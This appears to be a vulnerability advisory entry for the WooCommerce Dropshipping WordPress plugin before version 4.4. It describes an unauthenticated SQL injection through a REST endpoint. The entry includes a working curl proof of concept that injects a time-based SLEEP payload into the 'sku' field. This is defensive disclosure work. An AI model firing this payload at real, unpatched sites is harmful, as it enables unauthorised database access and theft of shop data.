WordPress Plugin Vulnerabilities
WooCommerce Dropshipping < 4.4 - Unauthenticated SQLi
Description
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection
Proof of Concept
curl -isk -X 'POST' -H "Content-Type: application/json" --data '{"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(5)))wlHd)-- pOeU"}' 'https://example.com/wp-json/woo-aliexpress/v1/product-sku' Affects Plugins
Fixed in version 4.4
References
Classification
Miscellaneous
Timeline
Publicly Published
2022-10-17 (about 3 months ago)
Added
2022-10-17 (about 3 months ago)
Last Updated
2022-10-17 (about 3 months ago)